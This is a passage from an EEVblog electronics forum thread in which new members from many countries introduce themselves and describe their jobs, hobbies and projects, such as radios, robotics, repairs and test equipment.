I don't remember how or when I first heard about EEVblog but it must have happened many years ago. I have watched many of Dave's excellent videos and followed some forums but now I finally decided to shape up and actually register.

Regards,
Matti
Title: Re: New Member, Please introduce yourself
Post by: retrolefty on September 29, 2016, 01:55:44 pm
Hi,

I am Matti from Helsinki, Finland. I have been working on IT field for a long time and tittle system architect/analyst probably describes current day job best (mostly Unix + DB stuff).

I am not EE so electronics is just a hobby for me but I am really hacker/maker (and science junkie) at heart. I started first "take it apart" projects in electronics when I was just a toddler ... and long before learning how to actually put those parts back together. Since then I have been building and experimenting with all kinds thingamajigs and doohickeys, which usually have something to do with radios, audio or computers.

I don't remember how or when I first heard about EEVblog but it must have happened many years ago. I have watched many of Dave's excellent videos and followed some forums but now I finally decided to shape up and actually register.

Regards,
Matti
Welcome.
Quote
thingamajigs and doohickeys

 Didn't know that you guys in Finland have those things also.  :-+
Title: Re: New Member, Please introduce yourself
Post by: Hack.Trix on September 29, 2016, 02:04:43 pm
Hello everyone,

My name is Byron and I hail from sunny Western Australia.  I am an instrumentation Electrician and I work on a large mine site in WA.  I am what is best described as a hobbyist electronics geek, I use the university of Google/YouTube to guide me along my ways...................I am a practical person so I tend to struggle with the theory of electronics until I can build and test my projects.  I would consider myself a true electrician, I love my job and enjoy figuring out how things work.  I am new to forums but see the huge benefit of using shared community knowledge and fully intend to use your knowledge as well as contribute where and when I can.
Title: Re: New Member, Please introduce yourself
Post by: richd on October 04, 2016, 12:26:24 am
Hi, I'm a new member.  I've been watching Dave's videos for years but I've never participated in the forums.  Now that I have more time for the hobby, I'm excited to get more involved and take advantage of this great resource of knowledge!
Title: Re: New Member, Please introduce yourself
Post by: johnbradshaw1000 on October 05, 2016, 04:08:08 pm
Hi there, This is john from Fremont, CA currently working in Westcables.com and enjoying this blog and information on it. Cheers
Title: Re: New Member, Please introduce yourself
Post by: Fisher77 on October 13, 2016, 01:00:27 pm
Hi, my name is Tye. I am from Texas. I have been poking around the forum for quite some time, and decided it was time to join in on the fun. There is a lot of useful information here, and being fairly new to the electronics world, it helps out immensely. Looks to be a great group of people here. Hope to enjoy this forum for many years to come.
Title: Re: New Member, Please introduce yourself
Post by: 2e0eow on October 15, 2016, 07:24:54 pm
Hi from North Yorkshire, UK. I'm a male produced in 1972 and have always enjoyed taking electrical things to bits and putting them back together again. I'm looking to expand my knowledge of all things electrical and magnetic, and what better place to do it than here. I love Dave's enthusiasm and the fabulous content he produces. Folks on these forums appear to be very knowledgeable and helpful too. I hope to be able to contribute something of value to the site and the people on it, but I'm feeling a bit like a white-belt in a room full of black-belt Karate experts. Not to worry, glad to be here :-)
Title: Re: New Member, Please introduce yourself
Post by: univ on October 16, 2016, 12:53:26 pm
Hi, I'm Chris, aka Universalist, from Dresden Germany.
I'm the inventor and main maker of GuerillaBeam, which is a 3d-printable flashlight-powered slide projector.
Besides that, I'm currently developing a Core-XY FDM 3d printer that uses an Ikea kitchen furniture as its frame, and that is done completely in OpenSCAD (bound to be Open Source).
I'm a regular watcher of Daves channel for quite a while, which (thanks again) earned me a nice Keysight scope.

PS: Normally, I'd go under the name Universalist, but while I have the name registered in the forum, the registration is stuck, probably for some problem with Gmail. So, if an Admin reads this and would like to help me complete the registration, I'd be thankful.
Title: Re: New Member, Please introduce yourself
Post by: sshoptaugh1991 on October 16, 2016, 08:02:35 pm
Greetings everyone,

My name is Shawn.  I am an engineering student at Ivy Tech Community College in Evansville, IN.  I am very interested in circuit design, specifically radio circuits as well as audio amplification for instrumentation.
Title: Re: New Member, Please introduce yourself
Post by: GreyArea on October 19, 2016, 01:53:28 pm
Hello, I'm Matt and I've been interested in Electronics since I was a kid.  I never managed to follow it into a career but I still like playing around and trying to make little circuits work.

I'd been following Daves Youtube videos since I came across them a couple of months ago, I like catching up on them during my lunch hour - I'm up to #463 right now!
Title: Re: New Member, Please introduce yourself
Post by: Robertmaks on October 20, 2016, 04:05:55 am
I'm new-ish. I like electricity
Title: Re: New Member, Please introduce yourself
Post by: Legionary on October 25, 2016, 03:22:11 am
Hello all.

My name is AJ, and I am a systems administrator in Raleigh, NC, USA. Obtained my Masters in Electrical Engineering, ended up not using it as I decided that I liked my part time gig as a systems administrator for the university much more than the stuff I did in my internships/coops. So now electronics is my hobby, and I think I like it that way more as I am free to enjoy the field without being obligated to delve into its more tedious aspects ;)

Most of the time I build random microcontroller powered devices, though I have been called upon for costume rigging and some animatronics for friends on occasion.
Title: Re: New Member, Please introduce yourself
Post by: Byteman on October 25, 2016, 07:56:38 pm
I'm Nezih Kanbur. I'm a graphics designer mostly working on 3d animation. I love electronics as a hobby and I've been following useful hacks since celeron 300A processor but I'm mostly here for a Geforce to Quadro modification. Quadro cards have additional features on CAD software including quad buffered stereoscopy. I'll be modding my card in a few days. Thanks to eevblog. :D :-+

I'm also interested in physics, computers and playing the piano.
Title: Re: New Member, Please introduce yourself
Post by: pelule on October 30, 2016, 06:05:58 pm
Although, I am member of this great forum a long time already, I guess, someone may need to know more about myself, my interests and knowledge.
I also will use that, to link to if someone asks for my background  :)
I am working on electronic project since more than 30 years, so I assume I am at least a bit experienced. My short form vita below my help to judge, where my major skills are.
Never the less I had to except my limits: "All you need in this life is ignorance and confidence, and then success is sure." (Mark Twain).
I also accepted, ones know-how is fully wasted, if one is not willing to share. So I started to educated young people (school, university..).
Meanwhile I am member of several great forums. This in my feeling is one of the bests (not such specific like [volt-nuts].

My so far vita:My Workbench at home:
https://www.eevblog.com/forum/chat/whats-your-work-benchlab-look-like-post-some-pictures-of-your-lab/msg999581/#msg999581 (https://www.eevblog.com/forum/chat/whats-your-work-benchlab-look-like-post-some-pictures-of-your-lab/msg999581/#msg999581)

Electronics is still a major part of my life.
Nevertheless there is also a life aside. My wife (I am married more than 30 year), the children (meanwhile autonomous), our friends, 2 dogs, my motorbike and last but not least our house&garden (I did also scuba diving for many years, but I have stopped)
Title: Re: New Member, Please introduce yourself
Post by: Denny78 on November 02, 2016, 12:11:37 am
Greetings Everyone,
                                My name is Denis. I came upon Dave and EVVblog on Youtube. I have been watching Dave's videos for a couple of months. The videos are very interesting to watch. It is fun and informative watching the teardown videos because you get to see what stuff is top quality and what stuff is garbage.

Also because of Dave's Youtube channel, I am thinking about getting myself a soldering iron and start to begin doing simple repairs on stuff like instrument cables etc(I have a few guitar leads that need the 1/4 jacks resoldering).

 :)
Title: Re: New Member, Please introduce yourself
Post by: jonovid on November 02, 2016, 01:57:35 am
I am middle aged ozy Australian, grow up on the family Farm (An Ozy ranch) mostly sheep, (not a kiwi)
= lot of electronic project ideas & odd designs but rarely gets anything finished. have obligations & other things taking my time.
the cat shares the lab / man cave.  ;D have built car audio amps ,video game console accessories , kid's toy's esc. ^-^
as most of my knowledge of electronics come from my Father a mechanical engineer / Farmer who built the family house & did ham radio as a hobby.
know about the eevblog forum from Dave's youtube Mailbag , video teardowns & the amp hour . but did not sign up till now.
Title: Re: New Member, Please introduce yourself
Post by: SgtTech on November 02, 2016, 09:32:26 pm
Hi I'm Ian and new to the eevblog forum. I work as a freelance ICT Consultant and have just started getting back into electronics after a long break. I did electronics at college and worked on military kit in the reserves for 18 years but have never made my living out of it. I am planning to have a play in a number of areas. Model railways. I am a member of MERG Model Electronic Railway Group www.Merg.org.uk (http://www.Merg.org.uk) and have some kits to build. Dave might like this site if he is planning to work on his Indiana Jones railway layout. The second area I am looking at involves Raspberry Pi and surveillance cameras for watching bird boxes, bird feeders etc.
Title: Re: New Member, Please introduce yourself
Post by: Twitchy on November 04, 2016, 01:46:31 am
Hello all,
I have been a long time watcher of EEVblog (Dave is amazing). Lately I have been lurking the forum a lot for helpful tidbits with various issues, I figured it was time to finally join in on the fun.
I live in Florida~ I love to tinker, I'm a ham, have been getting into test equipment repair lately, as various awesome devices tend to fall into my lap from time to time. If Dave has taught me one thing from his repair bits... It's always the capacitors... unless well it's not :p       
 
Title: Re: New Member, Please introduce yourself
Post by: Xenon on November 07, 2016, 06:25:07 pm
Hi, my name is Ronald.
I have been fascinated by electronics since i was a kid. Now I work in a large hospital, where i fix and service all "machines that go Beep Beep"  :-BROKE
Title: Re: New Member, Please introduce yourself
Post by: 1fast4door on November 09, 2016, 03:06:44 am
Hi, my name is George from the USA, Warren, MI to be more exact. I have watched the EEV YouTube channel for quite a while. I have some soldering skill mostly from working on cars. I want to start learning more about components and how they work. I feel like I am at the place where I know enough to get into trouble but not enough to get out. As an example, I have installed resistors to use LED's but they were supplied, so I really didn't know why they were the values they were. If I have instructions I am fine, but I don't always know why I may be doing something, and I don't like to operate that way. So hopefully I can learn some stuff around here.
Title: Re: New Member, Please introduce yourself
Post by: retrolefty on November 10, 2016, 07:12:09 pm
Hi, my name is Ronald.
I have been fascinated by electronics since i was a kid. Now I work in a large hospital, where i fix and service all "machines that go Beep Beep"  :-BROKE

 I hope that is in reference to the Monty Python movie, great skit.   :-DD
Title: Re: New Member, Please introduce yourself
Post by: hipi66 on November 16, 2016, 07:51:35 am
Hi, I'm Antun.
I'm from Croatia, work as maintenance guy in a big pharmaceutical company. My hobbys are electronics and music.
Title: Re: New Member, Please introduce yourself
Post by: Luminax on November 21, 2016, 05:12:34 am
Hi, My forum name is Luminax and my real name is Akmal
Hailing from Malaysia, lands of the many semiconductor manufacturers (NXP, ON-Semi, just to name a few :P)
Pleased to finally be here! and many thanks to Dave who fixed the registration issue.

Regards
Title: Re: New Member, Please introduce yourself
Post by: djos on November 28, 2016, 09:49:14 am
 8) G'day all, I've been loving Dave's videos for a few months now (smashing the schmoo out of my work supplied data on the train  >:D ) and had been wanting to replace my not bad but not entirely trustworthy Victor 70c DMM with something decent - had been researching the Uni-T's but quickly became aware of their significant limitations (rubbish protection etc).

Anyhoo, long story short, I ordered an EEVBlog BM235 a few days ago and cant wait to get it.

Most of my electronics work involves restoring & repairing Amiga, C64 and Classic Mac computers plus the occasional bit of gadget building.

PS, I'm a Melbournian these days despite being born and raised elsewhere (no not tassie)
Title: Re: New Member, Please introduce yourself
Post by: honasvocas on November 28, 2016, 12:36:10 pm
Hello to all from Spain,

Im Honas and love electronics (from DIY, raspberry pi and general repair hobby stuff)

Soon hope to have my first oscilloscope!

Thanks
Title: Re: New Member, Please introduce yourself
Post by: blackriver on November 28, 2016, 12:54:13 pm
Hello from Poland,
i'm Martin, HPE engineer, IT guy ;)
intrested in embedded system application
Title: Re: New Member, Please introduce yourself
Post by: woodgeek on November 28, 2016, 09:02:07 pm
New user. Trying to get help on an HP 3314a that's showing errors.
Title: Re: New Member, Please introduce yourself
Post by: THATguy on November 30, 2016, 05:08:26 am
Hey, I'm newish.
Found this place from the youtube video on Zener diodes.
I'm a novice, but understood most of it.
Accidentally did the beginning of an Electrical Engineering course 20 years ago. But it wasn't exactly for me at the time.
So I have some knowledge of boolean logic and that IC's are made of transistors and such.
Otherwise I'm a bit of a novice.
My main interest is Metal Detecting coils, I've a bit of knowledge in that area.
Title: Re: New Member, Please introduce yourself
Post by: deejay2k1 on November 30, 2016, 10:01:48 am
Hello, my (forum) name is deejay2k1

I'm a tech (or programmer, electrician, automation specialist or designer, scada et all ....   :rant:) It depends on what the company need in a specific period.
Title: Re: New Member, Please introduce yourself
Post by: andrea on November 30, 2016, 10:35:56 pm
Hi,

I am Andrea from Italy, I live in Piedmont, close to Alessandria.

I have a BSc in Computer Science, I have spent some years in IT, mostly as DBA, backend developer and sysadm, at present I work as IT manager, but I am pretty a newbie in EE.

My interest in EE has risen when I stopped to mock the Raspberry thing and I have started to think about to use it seriously in my job, as far as I have discovered the GPIO, the DIY world and the EE I found myself fallen in love with these fantastic worlds full of knowledge and satisfaction when you build something that simply works as expected... ...more satisfying when it works in ways you never have expected that it should be ??? It makes me feel like a little boy discovering the world for the first time  8)

I am looking forward to meet someone with whom share my just born passion, see you soon,

Andrea
Title: Re: New Member, Please introduce yourself
Post by: raysantos on December 03, 2016, 07:16:17 pm
Hello fellow EEVblog-ers,

My forum name raysantos is my real name Ray Santos.

My background is in software development (BS Information Systems, MS Software Engineering) and I'm teaching myself electronics as a hobby.

I'm currently reading "Getting Started in Electronics" by Forrest M. Mims III, to set the foundation for my electronics knowledge.

Next on my reading list is "Make: Electronics - Learning by Discovery" by Charles Platt. I bought the Make Electronics Components Pack 1 from Maker Shed to build Experiments 1 through 11 in Platt's book.

The most recent electronics-related project that I did was exposing the positive and negative lines from a spare USB cable to measure both the output voltage and amps of several USB charging adapters with my Extech EX410 multimeter. Two of my five USB charging adapters produced the output voltage and amps indicated on the adapter's label. The other three USB chargers produced the indicated output voltage but the amps were lower than indicated and the amp output also constantly changed. That must explain why those three USB chargers took longer to charge my mobile devices than the first two USB charger did.

I'm also interested in exploring more of the Electrical Engineering design side of the hobby but my math is a but rusty. To brush up on my math I've recently started working through the book "Engineering Mathematics, 7th Edition" by K.A. Stroud (with Dexter J. Booth).

My most recent electronics equipment acquisition is an HP E3610A DC Power Supply, which I bought on eBay. I decided to get the E3610A after watching Dave's "EEVblog #166 - HP Agilent E3610A Lab Power Supply" on YouTube.

On the non-electronics personal side, I have two daughters. The oldest is a PO2 in the US Navy where she works as an IT Technician on an aircraft carrier. My younger daughter is freshman in college who plans to graduate with a BS degree in Mechanical Engineering.

Best regards,
--Ray
Title: Re: New Member, Please introduce yourself
Post by: Spuddevans on December 04, 2016, 04:10:41 pm
Hello all,

I've been interested in electronics for years, been out of it for a while (too many interests/hobbies with too little time) but have just recently got the "Bug" again.

Past projects have been, guitar amp, mosfet PA amp, hifi valve amp, CNC mill conversion.

Current project is a Nixie Clock (yea I know, everyone and their cat has made one, but my interest has been piqued)

I regret selling my scope (just a cheap 20mhz 2ch) and sig gen (another cheapish model) about 8 years ago, I thought I had finished with electronics, so flogged them on the bay of e for far too cheap. But hay ho, I'm on the lookout for a 'scope and won't make the same mistake again.

Other interests include welding, woodturning (not at the same time), model engineering, photography (lapsed hobby)

I look forward to learning from the collective wisdom of the board, and even contributing if I can.

Tim
Title: Re: New Member, Please introduce yourself
Post by: edelnet on December 05, 2016, 07:04:44 pm
Hi, I'm edelnet from Cape Town, South Africa. Currently studying final year computer science and have always loved electronics.

Current Status: Hobbyist

Eager to tinker and learn more!
Title: Re: New Member, Please introduce yourself
Post by: WolfmanTech on December 06, 2016, 06:55:46 am
Greetings Programs! Wolfman (or Ian if you prefer) here, young (late twenties) technical fellow, been interested in what makes things tick since a young age and accumulated more than enough antiquated/obsolete junk to prove it!
I'm located in central Washington in the little town of Yakima. I'm actually looking to put some of this old scrap to use, as I'm tired of it just sitting around (while I do likewise). How successful I'll be, I don't know, as I'm also affliocted with depression and despite medication that really puts a damper on things! |O
Title: Re: New Member, Please introduce yourself
Post by: roog on December 07, 2016, 06:39:15 pm
Hello everyone,

My name is Charles and I live in Switzerland. I'm retired now but I have worked as an organic chemist and on the IT side for the chemical and pharmaceutical industry. I got my first amateur radio license when I was thirteen and electronics has always been one of my hobbies.  I've been looking at Dave's videos for about 5 years now and love them for their entertainment and educational value.
Title: Re: New Member, Please introduce yourself
Post by: TheDane on December 08, 2016, 07:56:18 pm
I'm Egon
- from Denmark  ;)

B.Sc.E.E and a Radiomechanic, doing mostly hardware development and repairs. I'm a ham too, but I tend to stay off air and do tech stuff instead.
Found Dave on YouTube, and like most of what he presents - keep up the good work Dave!
(And oh yeah - Dave you're 'down under', so naturally all of the electrons falls out when you top something over - right spin?) I'm a leftie by the way  :scared:

Looking forward to some fun stuff and great projects!
Title: Re: New Member, Please introduce yourself
Post by: iaeen on December 08, 2016, 08:11:00 pm
Hi, I'm iaeen!

I'm a chemical engineer by training, but I'm currently working as a software developer. Getting into EE as a hobby after having built my own keyboard from a kit and wanting to learn more.
Title: Re: New Member, Please introduce yourself
Post by: cbgpedalmaker on December 09, 2016, 02:13:40 am
Hello, I am here from America. I am currently only 1.125 classes away from attaining my Associate's degree in Engineering Technology Computers and Electronics. I am not the traditional student, I started going to school at the age of 30. I worked in a packaging plant for 10 years and decided that it would be best to do something better with the rest of my life. Electronics was my hobby at the time, so I decided to go with that. I have worked full time the entire time that I have been in school, so it will be a total of 4 years for me to earn a 2 year degree. School has already landed me a decent job, I am a valve automation tech.
Title: Re: New Member, Please introduce yourself
Post by: Vgkid on December 09, 2016, 02:50:30 am
Packing plant: Meat or boxes?
Title: Re: New Member, Please introduce yourself
Post by: cbgpedalmaker on December 09, 2016, 03:41:59 am
Packing plant: Meat or boxes?

Assuming that you are talking to me. A packaging plant for making boxes. I used to run a hand-fed flat bed die cut for about  7 of those 10 years.
Title: Re: New Member, Please introduce yourself
Post by: Vgkid on December 09, 2016, 04:42:20 am
Packing plant: Meat or boxes?
Assuming that you are talking to me. A packaging plant for making boxes. I used to run a hand-fed flat bed die cut for about  7 of those 10 years.
Forgot to quote you. Closest paper plant was International Paper
 If it was meat, then it would be Smithfield Foods, .75 miles away...
Title: Re: New Member, Please introduce yourself
Post by: Zom-B on December 09, 2016, 07:22:36 pm
Hi! I'm, eehm, just call me Zom-B!

Grown up with a soldering iron (against my mother's wishes), with a 4x4m lab full of equipment that's either rejected or home-built by my dad, and around lots of computers.

I've done digital design, programming and some half-hearted analog stuff (mostly audio). Both programming and electronics are two of my many passions.

I got here via two separate ways, via the ugly repair thread (https://www.eevblog.com/forum/repair/show-us-your-ugly-repair/) mentioned on hackaday and the mailbag videos.


Question, is there a fun/fail thread, just like the ugly repair thread? If not, what have all you guys been doing?!
Title: Re: New Member, Please introduce yourself
Post by: beclawat on December 10, 2016, 10:29:41 am
Hi,

I am beclawat (or at least that is my forum name). I am a software developer from Parramatta in Sydney. I am interested in learning about mostly digital electronics. I am a gameshow fan and intend on learning how to build projects that replicate various gameshow systems. My two favourites are Who Wants To Be A Millionaire? (Fastest Finger First and Ask The Audience, the rest is standard PC hardware) and Sale Of the Century and other similar quizes.
Title: Re: New Member, Please introduce yourself
Post by: PrzemRS on December 12, 2016, 06:24:31 pm
Hi all!

My name is Przemek, I'm Electronics Engineering and Computer Science student from Poland. I worked as a electronics technician with notebooks and tablets, currently I'm working in software company as a QA.

I wish to develop skills in analog electronics to be like a pro :)
Title: Re: New Member, Please introduce yourself
Post by: GumUlf on December 13, 2016, 03:00:24 am
Hello!

My name is Ulf and I live in Gothenburg, Sweden. I'm, soon, a computer engineer also interested in electronics. Right now I'm just about to build up my electronics lab and dive into building embedded systems and such things.
Title: Re: New Member, Please introduce yourself
Post by: KhronX on December 13, 2016, 04:39:28 pm
Chris here, originally from Romania, but moved to / settled in Finland since '08, and i've started my own electronics repair business here close to 4 years ago. .

Been involved in electronics since around secondary school, so roughly half my life so far, big fan of DIY, particularly on the audio side. About 1/3 or so of my microphone collection was bought as faulty, and revived and/or modded, one way or another. Several still are "work in progress".

Drummer, aspiring audio engineer, in the midst of several (unfortunately) long-ish term audio gear projects. They just always tend to pile up, don't they?  :palm: ;D

Been an avid watcher of the videos, but only recently decided to join the forum community as well  ^-^
Title: Re: New Member, Please introduce yourself
Post by: 3nigm4 on December 14, 2016, 09:35:05 am
Hello, I'm Moreno from Italy.
I'm a "everything can be repaired" man, and this is an issue between me and my wife that sometime wants to trash broken things  :blah:

That's all for now  :popcorn:
Title: Re: New Member, Please introduce yourself
Post by: mecharik on December 15, 2016, 10:05:52 am
Hi, everyone. I am Rikesh and i am a beginner in electromechanical field, just started first my college.
Title: Re: New Member, Please introduce yourself
Post by: XplosivBadger on December 16, 2016, 06:03:50 pm
Hi everyone, after 22 years away from electronics I find myself having an urge to get back into it.
Title: Re: New Member, Please introduce yourself
Post by: djlewis on December 18, 2016, 06:28:31 am
Hello, My name is Don, nick: djlewis. I signed on August 2010 after reading many of Dave's reviews including the
Rigol ds1052e. I ordered one same time. Now after reading his review on the ds1054z I have the bug to upgrade.
   For some reason I had to re register as my original acct info did not work. I enjoy embedded controllers and
electronics in general.
Title: Re: New Member, Please introduce yourself
Post by: radhoo on December 18, 2016, 09:18:10 pm
I'm Radu, I was trained as a software developer with over 13 years of experience in C / C++ , embedded programming, and various server technologies like php, sql. Had enough time to see all corners of software industry. So now I am doing hardware  :)

I got here a while back after Dave reviewed one of the things I built in his Mailbag. Been more of a lurker, due to very limited time, but I learned a lot from EEVBlog so I am grateful to Dave and to this community.
Title: Re: New Member, Please introduce yourself
Post by: BrianHG on December 20, 2016, 01:41:12 am
Hello Everyone,

     My name is Brian and I've always loved to tear apart electronics since I was a child in the 70's.  Later in my teens, I got into programming Basic and 6502 Assembly and was always interested in high quality audio and video & the beginnings of digital sampling audio and still photos, then video.  In the early 90s, I begun to develop with Microchip's first PIC as soon as it came out & also began working with & designing studio quality sound and video hardware for the Amiga personal computer.  At the time, I also tutored a few College/University student here locally in Montreal.

     As I'm now retiring from hardware design, I just recently found Dave's EEVBlog channel on YouTube and really enjoy watching the tear-downs as it bring back my early childhood days where I get to see hardware I could never have a chance to see any other way.
Title: Re: New Member, Please introduce yourself
Post by: Radiocruncher on December 20, 2016, 06:45:47 am
Hi to everyone

My name is Graham and I live down in South West England. I've been watching Dave's videos for many years and this year my partner encouraged me to start my own YouTube channel (Radiocruncher). I have no electronics training but I am keen to learn and love to fix stuff thats not working. I look forward to taking part in discussions and of course shouting for help.

All the best

Graham
Title: Re: New Member, Please introduce yourself
Post by: JWag on December 20, 2016, 06:15:29 pm
Jim here. I've been an ATE engineer for way too long (HP/Agilent/Keysight 3070, Acculogic FLS).

I enjoy all things technical, whether mechanical or electronic. I also tinker with an occasionally fix old Commodore computers.
Title: Re: New Member, Please introduce yourself
Post by: jfri2 on December 20, 2016, 11:36:11 pm
Hi I'm John.

Systems Engineer (RF/Embedded type stuff) with a background in EE, been doing hobby electronics and the like since I was a kid. Big fan of the EEVBlog and the Amp Hour
Title: Re: New Member, Please introduce yourself
Post by: me.me on December 26, 2016, 12:27:01 pm
hi i'm Greg from philippines currently working here in uae as maintenance in industry i'm not a professional or a degree holder, because of my hobby learning electronics and sometimes repairing my own gadgets or my friend's gadgets,..i want to hears others experiences and i think i can learned from this community and others experience or advice.. :blah: :blah: :-+
Title: Re: New Member, Please introduce yourself
Post by: valere on December 26, 2016, 02:07:15 pm
Hi, I was searching this "introduce yourself post", I've been a active in the Thermal Imaging area since I came here.
I do really appreciate the amazing videos from Dave / EEVBlog, it is a good way to keep learning (when I've enough time to view them).


I'm an Electronic Engineer, specialized in embedded real-time systems : I'm especially interested in the field of autonomous robots. I do both hardware design (and prototypes) and a bit less embedded software on many targets but not as deep in all of them (ARM Cortex M3 /  EFM32, AVR, 8051, C167, PIC18/24/32) and embedded Linux (ARM / Beaglebone Black). I'm from west of France and doing a lot of picturing (http://photos.valerea.fr (http://photos.valerea.fr)).

I like soldering difficult things... maybe one day I'll try soldering BGA with only a hot air station and whatever simple tools I've / find.

I'm participating in the French Robotic Cup (power and a.i. autonomous robots) in team Šikula Robotik (10 peoples).
I'm president of the association Šikula Robotik http://sikula-robotik.desbwa.org (http://sikula-robotik.desbwa.org) (http://twitter.com/sikularobotik (http://twitter.com/sikularobotik)).
Besides designing robots for the French robotic cup we also aim to share knowledge about robotic, applied sciences, electronic, engineering, ... (to help younger people to be interested in those fields for example).

What's really important is the team working, robotic is about mixing knowledge from many fields (electronic, mechanic, IT, artificial intelligence, sensors, etc...). So we are a team learning from each other !

- I designed most of the electronic in our main robot
- I have coded most but not all of the low-level software including a high-precision engine and robot movement controller (I had some help on the maths by another team member, this is about exchanging and learning from each other in the technical fields).
- I work with other teams members on an ultra-low power (and low voltage) autonomous robot using a single super cap and a solar cell to recharge, we find that interesting and really challenging (nothing is easy when the voltage is between 2 and 2.7V and you want "power" like engines).

If you are curious about our robots just take a look at this video (French Robotic Cup 2016 / may, match 4, we were 20th at the end)  :
https://www.youtube.com/embed/Rqn28Yl5Y_s (https://www.youtube.com/embed/Rqn28Yl5Y_s) (our youtube channel isn't monetize, I'm not sure It would work, we do not have enough time for professional quality video, so it's only for the happiness of curious people right now).

Sorry Dave I would have been happy to send you our robot for a teardown but... it's 12 kg and we need it for next year contest ! And obviously it's far from perfect, ... yet  :-DD
Title: Re: New Member, Please introduce yourself
Post by: mathsbloke on December 27, 2016, 01:33:34 pm
Hi everyone,
I'm just getting back into electronics after a recent career as an IT Consultant. My original career was as a TV and Video engineer working for Thorn EMI in the U.K.
Electronics has certainly moved on a bit since then  :).

Looking forward to joining in the discussions.

Regards
Bob G6TDR
Title: Re: New Member, Please introduce yourself
Post by: taustin on December 27, 2016, 07:41:16 pm
Cool thread.

I'm Tom - I'm an electrical engineer that likes to play around with microcontrollers and systems. I am currently working with a group of college students to design a modularized energy meter to help energy impoverished regions (think much of Africa) to gain more ready access to electrical power. The design is the simple part, its figuring out how to actually make it useful and beneficial that is the trick.

Title: Re: New Member, Please introduce yourself
Post by: pitagoras on December 27, 2016, 10:03:45 pm
Hi,
I´m a computer scientist living in Argentina, I have done mostly software development for the last 30 years. I have a formation in electronics from the secondary school, and I build things from time to time. Latest build: a Theremin. Next builds: a FPGA based theremin, analog musical synthesizer (for my son who plays piano), power supplies and other lab equipement,  voltage references and a multi-slope ADC (aiming at building a DMM, just for fun).
I like the "model oriented" engineering workflow to build things (schematic -> simulation -> build).
Well.. I'm having a lot of fun reading and I'm amazed by the deep an professional advice and projects that one finds here.
Will start posting projects soon.
Title: Re: New Member, Please introduce yourself
Post by: timothyaag on December 28, 2016, 12:45:49 am
My name's Tim. I'm a software engineer professionally but I've always played around with electronics. Now that my life has settled down I've started doing more and more with electronics. I'm pretty good when it comes to the logic side of things, but my knowledge of the electrical side is beginner at best. I'm here to learn.
Title: Re: New Member, Please introduce yourself
Post by: cabbage on December 30, 2016, 03:34:23 am
Hello All,
            I feel out of my depth here.  I messed about with electronics as a kid and I have always attempted to repair things when they break. I am happy to have a go at anything from SMD electronics to ground works. This attitude means that now I am in my 30's  I am an amateur at lots of skills and competent in none.
 I don't have all the gear, nor can I afford it.

I find myself here because the two blokes that I used to discuss electronics problems with have both died in the past year. Sometimes you need another brain on a problem. This is what I hope to get from the forum.

 I found the forum through youtube. I enjoy Dave's videos and Mikeselecticstuff's and Bigclive's
Title: Re: New Member, Please introduce yourself
Post by: rcairman on December 30, 2016, 10:44:47 am
Hello,

I'm an electronics engineer from Poland with experience in robotics and UAVs. I started my professional work with ground robots (hardware and low-level software), mainly for professional and military use. After two years I decided to combine flying (I have been building and flying RC planes since I was a kid) with robotics and moved towards UAVs, where I spent 5 years leading a team of engineers in a startup company (hardware, software, mechanics). Recently I put UAVs on the side and joined a medical company, where I manage R&D and mass production of a medical device (hardware, software, mechanics, DFMs, certification, mass production). I decided to keep UAVs as a hobby and a side-job, I have a few interesting projects on my desk that are waiting to be completed.

I have been following EEVblog for quite some time now (I believe I first came across Dave 5-6 years ago, when I tried to find some info on DS1052 oscilloscope) and I am a big fan. I learned a lot from Dave, I also introduced EEVblog to a few of my friends. Despite constant lack of free time, I am doing my best to keep up with recent episodes.

Regards
Jakub
Title: Re: New Member, Please introduce yourself
Post by: obrien on December 30, 2016, 06:56:01 pm
Hi,

 I am an embedded SW developer - or I used to be until I moved to management position.

 Since I do not get to play with bits and bytes anymore at work, I come back to my roots and started playing with it at home. I specialize on Smart Cards, SW security (especially in embedded systems), cryptography, SW countermeasures etc. But my education background is in EE and Cybernetics.. 

 I am looking forward to learn a lot form y'all pure HW guys!

Cheers,

Jan
Title: Re: New Member, Please introduce yourself
Post by: Inflex on December 31, 2016, 03:52:41 am
After being asked many times over if I knew of Dave Jones as a fellow Australian, I finally had to go and find out.

Currently doing all manner of design and repairs up in North QLD depending on the demand of the day.

Some of you might have already encountered some of my work in the form of OpenBoardView  :-+

Hope to provide some constructive/positive contributions to the forum.

Title: Re: New Member, Please introduce yourself
Post by: ^_^ on December 31, 2016, 10:25:51 am
Mikolaj from Poland here,

I've been following EEVBlog on yt since my M.Sc. studies, and finally after about 2 years the time has come to sign in on the forum :)
My main interest lies in embedded electronics (MCUs) and digital hardware, but so far in my professional career I've been doing everything from PCB design, analog circuits to simulations, PC software, and then my beloved digital MCUs, circuits, and more complex embedded systems (like BeagleBone and RPi).
However, I'm young, so this experience had me at different levels of the design ladder, which I think gives the best opportunities to grow.

Did many homemade projects during my studies and I'm still trying to, but as most of people here, still fighting the time constrains ;)
Life's hard when you are creative and have hundreds of ideas per second  :-DD

Wishing you all the best!

Peace,
Mikolaj
Title: Re: New Member, Please introduce yourself
Post by: bgadfly on January 07, 2017, 04:57:40 pm
Hi fellow electronics enthusiasts! My name is Cato and I'm from Norway :)

I have been an avid viewer of Daves videos for quite some time now, and I am what most people would consider an electronics newbie. I work as a software developer specializing in backend C-development, but have previously mostly C#/.NET development experience. I have been lurking on this forum for a while and always contemplated opening an account. Unforunately, the reason that made me decide to open an account at this point was that I got my hands on a couple of oscilloscopes someone here might be interested in (sorry, wish I opened the account for the technical discussions!).

Looking forward to learning a lot from you guys!

Cheers!  :)
Title: Re: New Member, Please introduce yourself
Post by: Highvoltagefox on January 11, 2017, 12:15:36 am
Hi from new Mexico!

I'm a nuclear engineering student that is leaning into the focus of detection. I hope to absorb everything you guys have to teach so I can help build evermore complex radiological detection and imaging equipment.
Title: Re: New Member, Please introduce yourself
Post by: tkuhmone on January 11, 2017, 06:02:43 pm
Hello from Finland...

Happy to join the forum :) I do have some background on electronics hobby, from last 20...30 years. Sometimes my hobby is more active, other times its been on the background - but not forgotten  :)

Currently planning to setup my own small scale electronics "testpoint". Bought already Twintex TFG-3620E generator. Need to examine it more, since some strange behaviour on it was seen... (I will later write here a thread of it). Oscilloscope and dual/triple output power supply are next items on the list.

I do have work backgound on telecomm area, mostly at mobile networks (GSM, 3G, LTE). Nowadays I try to activate my electronics hobby by getting to understand and program Arduino board. I have one project in my mind - where I could implement it. My other hobbies outside of electonics are:
-astronomy (remote meteor cameras in use, couple of other projects)
